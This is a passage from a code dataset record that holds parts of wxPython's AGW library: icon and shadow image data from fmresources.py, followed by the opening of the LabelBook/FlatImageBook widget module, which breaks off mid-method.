\"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmm`mmmmm\",\n \"mmmmmmmmm``mmmmm\",\n \"mmmm`mmm```mmmmm\",\n \"mmmm``m```mmmmmm\",\n \"mmmm`````mmmmmmm\",\n \"mmmmm```mmmmmmmm\",\n \"mmmmmm`mmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\"\n ]\n\nradio_item_xpm = [\" 16 16 16 1\",\n \"` c #000000\",\n \". c #800000\",\n \"# c #008000\",\n \"a c #808000\",\n \"b c #000080\",\n \"c c #800080\",\n \"d c #008080\",\n \"e c #808080\",\n \"f c #c0c0c0\",\n \"g c #ff0000\",\n \"h c #00ff00\",\n \"i c #ffff00\",\n \"j c #0000ff\",\n \"k c #ff00ff\",\n \"l c #00ffff\",\n \"m c #ffffff\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmm```mmmmmmm\",\n \"mmmmm`````mmmmmm\",\n \"mmmmm`````mmmmmm\",\n \"mmmmmm```mmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\",\n \"mmmmmmmmmmmmmmmm\"]\n\n\nmenu_right_arrow_xpm = [\n \" 16 16 8 1\",\n \"` c #ffffff\",\n \". c #000000\",\n \"# c #000000\",\n \"a c #000000\",\n \"b c #000000\",\n \"c c #000000\",\n \"d c #000000\",\n \"e c #000000\",\n \"````````````````\",\n \"````````````````\",\n \"````````````````\",\n \"````````````````\",\n \"````````````````\",\n \"``````.`````````\",\n \"``````..````````\",\n \"``````...```````\",\n \"``````....``````\",\n \"``````...```````\",\n \"``````..````````\",\n \"``````.`````````\",\n \"````````````````\",\n \"````````````````\",\n \"````````````````\",\n \"````````````````\"\n ]\n\n#----------------------------------\n# Shadow images\n#----------------------------------\n\nshadow_right_xpm = [\"5 5 1 1\",\" c Black\",\" \",\" \",\" \",\" \",\" \"]\n\n# shadow_right.xpm 5x5\nshadow_right_alpha = [168, 145, 115, 76, 46, 168, 145, 115, 76, 46, 168, 145, 115, 76, 46,\n 168, 145, 115, 76, 46, 168, 145, 115, 76, 46]\n\nshadow_right_top_xpm = [\"5 10 1 1\",\" c Black\",\" \",\" \",\" \",\" \",\n \" \",\" \",\" \",\" \",\" \",\" \"]\n\nshadow_right_top_alpha = [40, 35, 28, 18, 11, 67, 58, 46, 31, 18, 101, 87, 69, 46, 28,\n 128, 110, 87, 58, 35, 148, 128, 101, 67, 40, 161, 139, 110, 73, 44,\n 168, 145, 115, 76, 46, 168, 145, 115, 76, 46, 168, 145, 115, 76, 46,\n 168, 145, 115, 76, 46]\n\n# shadow_buttom.xpm 5x5\nshadow_bottom_alpha = [184, 184, 184, 184, 184, 168, 168, 168, 168, 168, 145, 145, 145, 145, 145,\n 115, 115, 115, 115, 115, 76, 76, 76, 76, 76]\n\nshadow_bottom_left_xpm = [\"10 5 1 1\",\" c Black\",\" \",\" \",\n \" \",\" \",\" \"]\n\nshadow_bottom_left_alpha = [22, 44, 73, 110, 139, 161, 176, 184, 184, 184,\n 20, 40, 67, 101, 128, 148, 161, 168, 168, 168,\n 17, 35, 58, 87, 110, 128, 139, 145, 145, 145,\n 13, 28, 46, 69, 87, 101, 110, 115, 115, 115,\n 9, 18, 31, 46, 58, 67, 73, 76, 76, 76]\n\nshadow_center_xpm = [\"5 5 1 1\",\" c Black\",\" \",\" \",\" \",\" \",\" \"]\n\nshadow_center_alpha = [161, 139, 110, 73, 44, 148, 128, 101, 67, 40,\n 128, 110, 87, 58, 35, 101, 87, 69, 46, 28,\n 67, 58, 46, 31, 18]\n\nshadow_bottom_xpm = [\"5 5 1 1\",\" c Black\",\" \",\" \",\" \",\" \",\" \"]\n\narrow_down_xpm = [\"16 16 3 1\",\n \". c Black\",\n \"X c #FFFFFF\",\n \" c #008080\",\n \" \",\n \" \",\n \" \",\n \" \",\n \" ....... \",\n \" XXXXXXX \",\n \" \",\n \" ....... \",\n \" X.....X \",\n \" X...X \",\n \" X.X \",\n \" X \",\n \" \",\n \" \",\n \" \",\n \" \"]\n\n#---------------------------------------------\n# Pin images\n#---------------------------------------------\npin_left_xpm = [\" 16 16 8 1\",\n \"` c #ffffff\",\n \". c #000000\",\n \"# c #808080\",\n \"a c #000000\",\n \"b c #000000\",\n \"c c #000000\",\n \"d c #000000\",\n \"e c #000000\",\n \"````````````````\",\n \"````````````````\",\n \"```````.````````\",\n \"```````.````````\",\n \"```````.......``\",\n \"```````.`````.``\",\n \"`````...`````.``\",\n \"``......#####.``\",\n \"`````...#####.``\",\n \"```````.......``\",\n \"```````.......``\",\n \"```````.````````\",\n \"```````.````````\",\n \"````````````````\",\n \"````````````````\",\n \"````````````````\"]\n\npin_down_xpm = [\" 16 16 8 1\",\n \"` c #ffffff\",\n \". c #000000\",\n \"# c #808080\",\n \"a c #000000\",\n \"b c #000000\",\n \"c c #000000\",\n \"d c #000000\",\n \"e c #000000\",\n \"````````````````\",\n \"````````````````\",\n \"````.......`````\",\n \"````.``##..`````\",\n \"````.``##..`````\",\n \"````.``##..`````\",\n \"````.``##..`````\",\n \"````.``##..`````\",\n \"``...........```\",\n \"``````...```````\",\n \"``````...```````\",\n \"```````.````````\",\n \"```````.````````\",\n \"```````.````````\",\n \"````````````````\",\n \"````````````````\"]\n\n\narrow_up = 'BM\\xf6\\x00\\x00\\x00\\x00\\x00\\x00\\x00v\\x00\\x00\\x00(\\x00\\x00\\x00\\x10\\x00\\x00\\\n\\x00\\x10\\x00\\x00\\x00\\x01\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x12\\x0b\\x00\\x00\\x12\\\n\\x0b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\x00\\x80\\x80\\x00\\\n\\x00w\\xfcM\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\\x00\\x00\\x00\\x02\"\"\"\"\\x11\\x11\\\n\\x11\\x12\"\"\"\"\"\"\"\"\"\"\"\"\\x00\\x00\\x00\\x02\"\"\"\"\\x10\\x00\\x00\\x12\"\"\"\"!\\x00\\x01\"\"\"\"\"\"\\x10\\x12\"\"\"\"\"\"!\\\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"'\n\n\narrow_down = 'BM\\xf6\\x00\\x00\\x00\\x00\\x00\\x00\\x00v\\x00\\x00\\x00(\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\\n\\x10\\x00\\x00\\x00\\x01\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x0b\\x00\\x00\\x12\\x0b\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\x00\\x80\\x80\\x00\\x00w\\\n\\xfcM\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x00\\x00\\x00\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"!\"\"\"\"\"\"\"\\x10\\x12\"\"\"\"\"!\\x00\\x01\\\n\"\"\"\"\"\\x10\\x00\\x00\\x12\"\"\"\"\\x00\\x00\\x00\\x02\"\"\"\"\"\"\"\"\"\"\"\"\\x11\\x11\\x11\\x12\"\"\"\"\\x00\\x00\\x00\\x02\\\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"'\n\nmenu_up_arrow_xpm = [\"16 16 2 1\",\n \". c Black\",\n \" c White\",\n \" \",\n \" \",\n \" \",\n \" \",\n \" \",\n \" \",\n \" . \",\n \" ... \",\n \" ..... \",\n \" \",\n \" \",\n \" \",\n \" \",\n \" \",\n \" \",\n \" \"]\n\n\nmenu_down_arrow_xpm = [\"16 16 2 1\",\n \". c Black\",\n \" c White\",\n \" \",\n \" \",\n \" \",\n \" \",\n \" \",\n \" \",\n \" ..... \",\n \" ... \",\n \" . \",\n \" \",\n \" \",\n \" \",\n \" \",\n \" \",\n \" \",\n \" \"]\n\n\ndef getMenuUpArrowBitmap():\n bmp = wx.BitmapFromXPMData(menu_up_arrow_xpm)\n bmp.SetMask(wx.Mask(bmp, wx.WHITE))\n return bmp\n\ndef getMenuDownArrowBitmap():\n bmp = wx.BitmapFromXPMData(menu_down_arrow_xpm)\n bmp.SetMask(wx.Mask(bmp, wx.WHITE))\n return bmp\n", "id": "7595212", "language": "Python", "matching_score": 4.674747467041016, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/fmresources.py" }, { "content": "# --------------------------------------------------------------------------- #\n# LABELBOOK And FLATIMAGEBOOK Widgets wxPython IMPLEMENTATION\n#\n# Original C++ Code From Eran, embedded in the FlatMenu source code\n#\n#\n# License: wxWidgets license\n#\n#\n# Python Code By:\n#\n# <NAME>, @ 03 Nov 2006\n# Latest Revision: 17 Jan 2011, 15.00 GMT\n#\n#\n# For All Kind Of Problems, Requests Of Enhancements And Bug Reports, Please\n# Write To Me At:\n#\n# <EMAIL>\n# <EMAIL>\n#\n# Or, Obviously, To The wxPython Mailing List!!!\n#\n# TODO:\n# LabelBook - Support IMB_SHOW_ONLY_IMAGES\n# LabelBook - An option for the draw border to only draw the border \n# between the controls and the pages so the background\n# colour can flow into the window background\n#\n#\n#\n# End Of Comments\n# --------------------------------------------------------------------------- #\n\n\"\"\"\nLabelBook and FlatImageBook are a quasi-full generic and owner-drawn\nimplementations of `wx.Notebook`.\n\n\nDescription\n===========\n\nLabelBook and FlatImageBook are a quasi-full implementations of the `wx.Notebook`,\nand designed to be a drop-in replacement for `wx.Notebook`. The API functions are\nsimilar so one can expect the function to behave in the same way.\nLabelBook anf FlatImageBook share their appearance with `wx.Toolbook` and\n`wx.Listbook`, while having more options for custom drawings, label positioning,\nmouse pointing and so on. Moreover, they retain also some visual characteristics\nof the Outlook address book.\n\nSome features:\n\n- They are generic controls;\n- Supports for left, right, top (FlatImageBook only), bottom (FlatImageBook\n only) book styles;\n- Possibility to draw images only, text only or both (FlatImageBook only);\n- Support for a \"pin-button\", that allows the user to shrink/expand the book\n tab area;\n- Shadows behind tabs (LabelBook only);\n- Gradient shading of the tab area (LabelBook only);\n- Web-like mouse pointing on tabs style (LabelBook only);\n- Many customizable colours (tab area, active tab text, tab borders, active\n tab, highlight) - LabelBook only.\n \nAnd much more. See the demo for a quasi-complete review of all the functionalities\nof LabelBook and FlatImageBook.\n\n\nSupported Platforms\n===================\n\nLabelBook and FlatImageBook have been tested on the following platforms:\n * Windows (Windows XP);\n * Linux Ubuntu (Dapper 6.06)\n\n\nWindow Styles\n=============\n\nThis class supports the following window styles:\n\n=========================== =========== ==================================================\nWindow Styles Hex Value Description\n=========================== =========== ==================================================\n``INB_BOTTOM`` 0x1 Place labels below the page area. Available only for `FlatImageBook`.\n``INB_LEFT`` 0x2 Place labels on the left side. Available only for `FlatImageBook`.\n``INB_RIGHT`` 0x4 Place labels on the right side.\n``INB_TOP`` 0x8 Place labels above the page area.\n``INB_BORDER`` 0x10 Draws a border around `LabelBook` or `FlatImageBook`.\n``INB_SHOW_ONLY_TEXT`` 0x20 Shows only text labels and no images. Available only for `LabelBook`.\n``INB_SHOW_ONLY_IMAGES`` 0x40 Shows only tab images and no label texts. Available only for `LabelBook`.\n``INB_FIT_BUTTON`` 0x80 Displays a pin button to show/hide the book control.\n``INB_DRAW_SHADOW`` 0x100 Draw shadows below the book tabs. Available only for `LabelBook`.\n``INB_USE_PIN_BUTTON`` 0x200 Displays a pin button to show/hide the book control.\n``INB_GRADIENT_BACKGROUND`` 0x400 Draws a gradient shading on the tabs background. Available only for `LabelBook`.\n``INB_WEB_HILITE`` 0x800 On mouse hovering, tabs behave like html hyperlinks. Available only for `LabelBook`.\n``INB_NO_RESIZE`` 0x1000 Don't allow resizing of the tab area.\n``INB_FIT_LABELTEXT`` 0x2000 Will fit the tab area to the longest text (or text+image if you have images) in all the tabs.\n=========================== =========== ==================================================\n\n\nEvents Processing\n=================\n\nThis class processes the following events:\n\n=================================== ==================================================\nEvent Name Description\n=================================== ==================================================\n``EVT_IMAGENOTEBOOK_PAGE_CHANGED`` Notify client objects when the active page in `ImageNotebook` has changed.\n``EVT_IMAGENOTEBOOK_PAGE_CHANGING`` Notify client objects when the active page in `ImageNotebook` is about to change.\n``EVT_IMAGENOTEBOOK_PAGE_CLOSED`` Notify client objects when a page in `ImageNotebook` has been closed.\n``EVT_IMAGENOTEBOOK_PAGE_CLOSING`` Notify client objects when a page in `ImageNotebook` is closing.\n=================================== ==================================================\n\n\nLicense And Version\n===================\n\nLabelBook and FlatImageBook are distributed under the wxPython license. \n\nLatest Revision: <NAME> @ 17 Jan 2011, 15.00 GMT\n\nVersion 0.5.\n\n\"\"\"\n\n__docformat__ = \"epytext\"\n\n\n#----------------------------------------------------------------------\n# Beginning Of IMAGENOTEBOOK wxPython Code\n#----------------------------------------------------------------------\n\nimport wx\n\nfrom artmanager import ArtManager, DCSaver\nfrom fmresources import *\n\n# Check for the new method in 2.7 (not present in 2.6.3.3)\nif wx.VERSION_STRING < \"2.7\":\n wx.Rect.Contains = lambda self, point: wx.Rect.Inside(self, point)\n\n# FlatImageBook and LabelBook styles\nINB_BOTTOM = 1\n\"\"\" Place labels below the page area. Available only for `FlatImageBook`.\"\"\"\nINB_LEFT = 2\n\"\"\" Place labels on the left side. Available only for `FlatImageBook`.\"\"\"\nINB_RIGHT = 4\n\"\"\" Place labels on the right side. \"\"\"\nINB_TOP = 8\n\"\"\" Place labels above the page area. \"\"\"\nINB_BORDER = 16\n\"\"\" Draws a border around `LabelBook` or `FlatImageBook`. \"\"\"\nINB_SHOW_ONLY_TEXT = 32\n\"\"\" Shows only text labels and no images. Available only for `LabelBook`.\"\"\"\nINB_SHOW_ONLY_IMAGES = 64\n\"\"\" Shows only tab images and no label texts. Available only for `LabelBook`.\"\"\"\nINB_FIT_BUTTON = 128\n\"\"\" Displays a pin button to show/hide the book control. \"\"\"\nINB_DRAW_SHADOW = 256\n\"\"\" Draw shadows below the book tabs. Available only for `LabelBook`.\"\"\"\nINB_USE_PIN_BUTTON = 512\n\"\"\" Displays a pin button to show/hide the book control. \"\"\"\nINB_GRADIENT_BACKGROUND = 1024\n\"\"\" Draws a gradient shading on the tabs background. Available only for `LabelBook`.\"\"\"\nINB_WEB_HILITE = 2048\n\"\"\" On mouse hovering, tabs behave like html hyperlinks. Available only for `LabelBook`.\"\"\"\nINB_NO_RESIZE = 4096\n\"\"\" Don't allow resizing of the tab area. \"\"\"\nINB_FIT_LABELTEXT = 8192\n\"\"\" Will fit the tab area to the longest text (or text+image if you have images) in all the tabs. \"\"\"\n\nwxEVT_IMAGENOTEBOOK_PAGE_CHANGED = wx.wxEVT_COMMAND_NOTEBOOK_PAGE_CHANGED\nwxEVT_IMAGENOTEBOOK_PAGE_CHANGING = wx.wxEVT_COMMAND_NOTEBOOK_PAGE_CHANGING\nwxEVT_IMAGENOTEBOOK_PAGE_CLOSING = wx.NewEventType()\nwxEVT_IMAGENOTEBOOK_PAGE_CLOSED = wx.NewEventType()\n\n#-----------------------------------#\n# ImageNotebookEvent\n#-----------------------------------#\n\nEVT_IMAGENOTEBOOK_PAGE_CHANGED = wx.EVT_NOTEBOOK_PAGE_CHANGED\n\"\"\" Notify client objects when the active page in `ImageNotebook` has changed. \"\"\"\nEVT_IMAGENOTEBOOK_PAGE_CHANGING = wx.EVT_NOTEBOOK_PAGE_CHANGING\n\"\"\" Notify client objects when the active page in `ImageNotebook` is about to change. \"\"\"\nEVT_IMAGENOTEBOOK_PAGE_CLOSING = wx.PyEventBinder(wxEVT_IMAGENOTEBOOK_PAGE_CLOSING, 1)\n\"\"\" Notify client objects when a page in `ImageNotebook` is closing. \"\"\"\nEVT_IMAGENOTEBOOK_PAGE_CLOSED = wx.PyEventBinder(wxEVT_IMAGENOTEBOOK_PAGE_CLOSED, 1)\n\"\"\" Notify client objects when a page in `ImageNotebook` has been closed. \"\"\"\n\n\n# ---------------------------------------------------------------------------- #\n# Class ImageNotebookEvent\n# ---------------------------------------------------------------------------- #\n\nclass ImageNotebookEvent(wx.PyCommandEvent):\n \"\"\"\n This events will be sent when a ``EVT_IMAGENOTEBOOK_PAGE_CHANGED``,\n ``EVT_IMAGENOTEBOOK_PAGE_CHANGING``, ``EVT_IMAGENOTEBOOK_PAGE_CLOSING``,\n ``EVT_IMAGENOTEBOOK_PAGE_CLOSED`` is mapped in the parent.\n \"\"\"\n\n def __init__(self, eventType, eventId=1, sel=-1, oldsel=-1):\n \"\"\"\n Default class constructor.\n\n :param `eventType`: the event type;\n :param `eventId`: the event identifier;\n :param `sel`: the current selection;\n :param `oldsel`: the old selection.\n \"\"\"\n\n wx.PyCommandEvent.__init__(self, eventType, eventId)\n self._eventType = eventType\n self._sel = sel\n self._oldsel = oldsel\n self._allowed = True\n\n\n def SetSelection(self, s):\n \"\"\"\n Sets the event selection.\n\n :param `s`: an integer specifying the new selection.\n \"\"\"\n\n self._sel = s\n\n\n def SetOldSelection(self, s):\n \"\"\"\n Sets the event old selection.\n\n :param `s`: an integer specifying the old selection.\n \"\"\"\n\n self._oldsel = s\n\n\n def GetSelection(self):\n \"\"\" Returns the event selection. \"\"\"\n\n return self._sel\n\n\n def GetOldSelection(self):\n \"\"\" Returns the old event selection. \"\"\"\n\n return self._oldsel\n\n\n def Veto(self):\n \"\"\"\n Prevents the change announced by this event from happening.\n\n :note: It is in general a good idea to notify the user about the reasons\n for vetoing the change because otherwise the applications behaviour (which\n just refuses to do what the user wants) might be quite surprising.\n \"\"\"\n\n self._allowed = False\n\n\n def Allow(self):\n \"\"\"\n This is the opposite of L{Veto}: it explicitly allows the event to be processed.\n For most events it is not necessary to call this method as the events are\n allowed anyhow but some are forbidden by default (this will be mentioned\n in the corresponding event description).\n \"\"\"\n\n self._allowed = True\n\n\n def IsAllowed(self):\n \"\"\"\n Returns ``True`` if the change is allowed (L{Veto} hasn't been called) or\n ``False`` otherwise (if it was).\n \"\"\"\n\n return self._allowed\n\n\n# ---------------------------------------------------------------------------- #\n# Class ImageInfo\n# ---------------------------------------------------------------------------- #\n\nclass ImageInfo(object):\n \"\"\"\n This class holds all the information (caption, image, etc...) belonging to a\n single tab in L{LabelBook}.\n \"\"\"\n def __init__(self, strCaption=\"\", imageIndex=-1): \n \"\"\"\n Default class constructor.\n\n :param `strCaption`: the tab caption;\n :param `imageIndex`: the tab image index based on the assigned (set)\n `wx.ImageList` (if any).\n \"\"\"\n \n self._pos = wx.Point()\n self._size = wx.Size()\n self._strCaption = strCaption\n self._ImageIndex = imageIndex\n self._captionRect = wx.Rect()\n\n\n def SetCaption(self, value):\n \"\"\"\n Sets the tab caption.\n\n :param `value`: the new tab caption.\n \"\"\"\n\n self._strCaption = value\n\n\n def GetCaption(self):\n \"\"\" Returns the tab caption. \"\"\"\n\n return self._strCaption\n\n\n def SetPosition(self, value):\n \"\"\"\n Sets the tab position.\n\n :param `value`: the new tab position, an instance of `wx.Point`.\n \"\"\"\n\n self._pos = value\n\n\n def GetPosition(self):\n \"\"\" Returns the tab position. \"\"\"\n\n return self._pos\n\n\n def SetSize(self, value):\n \"\"\"\n Sets the tab size.\n\n :param `value`: the new tab size, an instance of `wx.Size`.\n \"\"\"\n\n self._size = value\n\n\n def GetSize(self):\n \"\"\" Returns the tab size. \"\"\"\n\n return self._size\n\n\n def SetImageIndex(self, value):\n \"\"\"\n Sets the tab image index.\n\n :param `value`: an index into the image list..\n \"\"\"\n\n self._ImageIndex = value\n\n\n def GetImageIndex(self):\n \"\"\" Returns the tab image index. \"\"\"\n\n return self._ImageIndex\n\n\n def SetTextRect(self, rect):\n \"\"\"\n Sets the client rectangle available for the tab text.\n\n :param `rect`: the tab text client rectangle, an instance of `wx.Rect`.\n \"\"\"\n\n self._captionRect = rect\n\n\n def GetTextRect(self):\n \"\"\" Returns the client rectangle available for the tab text. \"\"\"\n\n return self._captionRect\n\n\n# ---------------------------------------------------------------------------- #\n# Class ImageContainerBase\n# ---------------------------------------------------------------------------- #\n\nclass ImageContainerBase(wx.Panel):\n \"\"\"\n Base class for L{FlatImageBook} image container.\n \"\"\"\n def __init__(self, parent, id=wx.ID_ANY, pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=0, agwStyle=0, name=\"ImageContainerBase\"):\n \"\"\"\n Default class constructor.\n\n :param `parent`: parent window. Must not be ``None``;\n :param `id`: window identifier. A value of -1 indicates a default value;\n :param `pos`: the control position. A value of (-1, -1) indicates a default position,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `size`: the control size. A value of (-1, -1) indicates a default size,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `style`: the underlying `wx.Panel` window style;\n :param `agwStyle`: the AGW-specific window style. This can be a combination of the\n following bits:\n\n =========================== =========== ==================================================\n Window Styles Hex Value Description\n =========================== =========== ==================================================\n ``INB_BOTTOM`` 0x1 Place labels below the page area. Available only for L{FlatImageBook}.\n ``INB_LEFT`` 0x2 Place labels on the left side. Available only for L{FlatImageBook}.\n ``INB_RIGHT`` 0x4 Place labels on the right side.\n ``INB_TOP`` 0x8 Place labels above the page area.\n ``INB_BORDER`` 0x10 Draws a border around L{LabelBook} or L{FlatImageBook}.\n ``INB_SHOW_ONLY_TEXT`` 0x20 Shows only text labels and no images. Available only for L{LabelBook}.\n ``INB_SHOW_ONLY_IMAGES`` 0x40 Shows only tab images and no label texts. Available only for L{LabelBook}.\n ``INB_FIT_BUTTON`` 0x80 Displays a pin button to show/hide the book control.\n ``INB_DRAW_SHADOW`` 0x100 Draw shadows below the book tabs. Available only for L{LabelBook}.\n ``INB_USE_PIN_BUTTON`` 0x200 Displays a pin button to show/hide the book control.\n ``INB_GRADIENT_BACKGROUND`` 0x400 Draws a gradient shading on the tabs background. Available only for L{LabelBook}.\n ``INB_WEB_HILITE`` 0x800 On mouse hovering, tabs behave like html hyperlinks. Available only for L{LabelBook}.\n ``INB_NO_RESIZE`` 0x1000 Don't allow resizing of the tab area.\n ``INB_FIT_LABELTEXT`` 0x2000 Will fit the tab area to the longest text (or text+image if you have images) in all the tabs.\n =========================== =========== ==================================================\n\n :param `name`: the window name. \n \"\"\"\n \n self._nIndex = -1\n self._nImgSize = 16\n self._ImageList = None\n self._nHoeveredImgIdx = -1\n self._bCollapsed = False\n self._tabAreaSize = (-1, -1)\n self._nPinButtonStatus = INB_PIN_NONE\n self._pagesInfoVec = []\n self._pinBtnRect = wx.Rect()\n\n wx.Panel.__init__(self, parent, id, pos, size, style | wx.NO_BORDER | wx.NO_FULL_REPAINT_ON_RESIZE, name)\n\n\n def HasAGWFlag(self, flag):\n \"\"\"\n Tests for existance of flag in the style.\n\n :param `flag`: a window style. This can be a combination of the following bits:\n\n =========================== =========== ==================================================\n Window Styles Hex Value Description\n =========================== =========== ==================================================\n ``INB_BOTTOM`` 0x1 Place labels below the page area. Available only for L{FlatImageBook}.\n ``INB_LEFT`` 0x2 Place labels on the left side. Available only for L{FlatImageBook}.\n ``INB_RIGHT`` 0x4 Place labels on the right side.\n ``INB_TOP`` 0x8 Place labels above the page area.\n ``INB_BORDER`` 0x10 Draws a border around L{LabelBook} or L{FlatImageBook}.\n ``INB_SHOW_ONLY_TEXT`` 0x20 Shows only text labels and no images. Available only for L{LabelBook}.\n ``INB_SHOW_ONLY_IMAGES`` 0x40 Shows only tab images and no label texts. Available only for L{LabelBook}.\n ``INB_FIT_BUTTON`` 0x80 Displays a pin button to show/hide the book control.\n ``INB_DRAW_SHADOW`` 0x100 Draw shadows below the book tabs. Available only for L{LabelBook}.\n ``INB_USE_PIN_BUTTON`` 0x200 Displays a pin button to show/hide the book control.\n ``INB_GRADIENT_BACKGROUND`` 0x400 Draws a gradient shading on the tabs background. Available only for L{LabelBook}.\n ``INB_WEB_HILITE`` 0x800 On mouse hovering, tabs behave like html hyperlinks. Available only for L{LabelBook}.\n ``INB_NO_RESIZE`` 0x1000 Don't allow resizing of the tab area.\n ``INB_FIT_LABELTEXT`` 0x2000 Will fit the tab area to the longest text (or text+image if you have images) in all the tabs.\n =========================== =========== ==================================================\n \"\"\"\n \n style = self.GetParent().GetAGWWindowStyleFlag()\n res = (style & flag and [True] or [False])[0]\n return res\n\n\n def ClearFlag(self, flag):\n \"\"\"\n Removes flag from the style.\n\n :param `flag`: a window style flag.\n\n :see: L{HasAGWFlag} for a list of possible window style flags. \n \"\"\"\n\n parent = self.GetParent()\n agwStyle = parent.GetAGWWindowStyleFlag()\n agwStyle &= ~(flag)\n parent.SetAGWWindowStyleFlag(agwStyle)\n\n\n def AssignImageList(self, imglist):\n \"\"\"\n Assigns an image list to the L{ImageContainerBase}.\n\n :param `imglist`: an instance of `wx.ImageList`.\n \"\"\"\n \n if imglist and imglist.GetImageCount() != 0:\n self._nImgSize = imglist.GetBitmap(0).GetHeight()\n\n self._ImageList = imglist\n parent = self.GetParent()\n agwStyle = parent.GetAGWWindowStyleFlag()\n parent.SetAGWWindowStyleFlag(agwStyle)\n \n\n def GetImageList(self):\n \"\"\" Return the image list for L{ImageContainerBase}. \"\"\"\n\n return self._ImageList\n\n\n def GetImageSize(self):\n \"\"\" Returns the image size inside the L{ImageContainerBase} image list. \"\"\"\n\n return self._nImgSize\n\n \n def FixTextSize(self, dc, text, maxWidth):\n \"\"\"\n Fixes the text, to fit `maxWidth` value. If the text length exceeds\n `maxWidth` value this function truncates it and appends two dots at\n the end. (\"Long Long Long Text\" might become \"Long Long...\").\n\n :param `dc`: an instance of `wx.DC`;\n :param `text`: the text to fix/truncate;\n :param `maxWidth`: the maximum allowed width for the text, in pixels.\n \"\"\"\n\n return ArtManager.Get().TruncateText(dc, text, maxWidth)\n\n\n def CanDoBottomStyle(self):\n \"\"\"\n Allows the parent to examine the children type. Some implementation\n (such as L{LabelBook}), does not support top/bottom images, only left/right.\n \"\"\"\n \n return False\n \n \n def AddPage(self, caption, selected=False, imgIdx=-1):\n \"\"\"\n Adds a page to the container.\n\n :param `caption`: specifies the text for the new tab;\n :param `selected`: specifies whether the page should be selected;\n :param `imgIdx`: specifies the optional image index for the new tab.\n \"\"\"\n \n self._pagesInfoVec.append(ImageInfo(caption, imgIdx))\n if selected or len(self._pagesInfoVec) == 1:\n self._nIndex = len(self._pagesInfoVec)-1\n\n self.Refresh()\n\n\n def InsertPage(self, page_idx, caption, selected=False, imgIdx=-1):\n \"\"\"\n Inserts a page into the container at the specified position.\n\n :param `page_idx`: specifies the position for the new tab;\n :param `caption`: specifies the text for the new tab;\n :param `selected`: specifies whether the page should be selected;\n :param `imgIdx`: specifies the optional image index for the new tab.\n \"\"\"\n \n self._pagesInfoVec.insert(page_idx, ImageInfo(caption, imgIdx))\n if selected or len(self._pagesInfoVec) == 1:\n self._nIndex = len(self._pagesInfoVec)-1\n\n self.Refresh()\n\n\n def SetPageImage(self, page, imgIdx):\n \"\"\"\n Sets the image for the given page.\n\n :param `page`: the index of the tab;\n :param `imgIdx`: specifies the optional image index for the tab.\n \"\"\"\n\n imgInfo = self._pagesInfoVec[page]\n imgInfo.SetImageIndex(imgIdx)\n\n\n def SetPageText(self, page, text):\n \"\"\"\n Sets the tab caption for the given page.\n\n :param `page`: the index of the tab;\n :param `text`: the new tab caption.\n \"\"\"\n\n imgInfo = self._pagesInfoVec[page]\n imgInfo.SetCaption(text)\n\n\n def GetPageImage(self, page):\n \"\"\"\n Returns the image index for the given page.\n \n :param `page`: the index of the tab.\n \"\"\"\n\n imgInfo = self._pagesInfoVec[page]\n return imgInfo.GetImageIndex()\n\n\n def GetPageText(self, page):\n \"\"\"\n Returns the tab caption for the given page.\n \n :param `page`: the index of the tab.\n \"\"\"\n\n imgInfo = self._pagesInfoVec[page]\n return imgInfo.GetCaption()\n\n \n def ClearAll(self):\n \"\"\" Deletes all the pages in the container. \"\"\"\n\n self._pagesInfoVec = []\n self._nIndex = wx.NOT_FOUND\n\n\n def DoDeletePage(self, page):\n \"\"\"\n Does the actual page deletion.\n\n :param `page`: the index of the tab.\n \"\"\"\n\n # Remove the page from the vector\n book = self.GetParent()\n self._pagesInfoVec.pop(page)\n\n if self._nIndex >= page:\n self._nIndex = self._nIndex - 1\n\n # The delete page was the last first on the 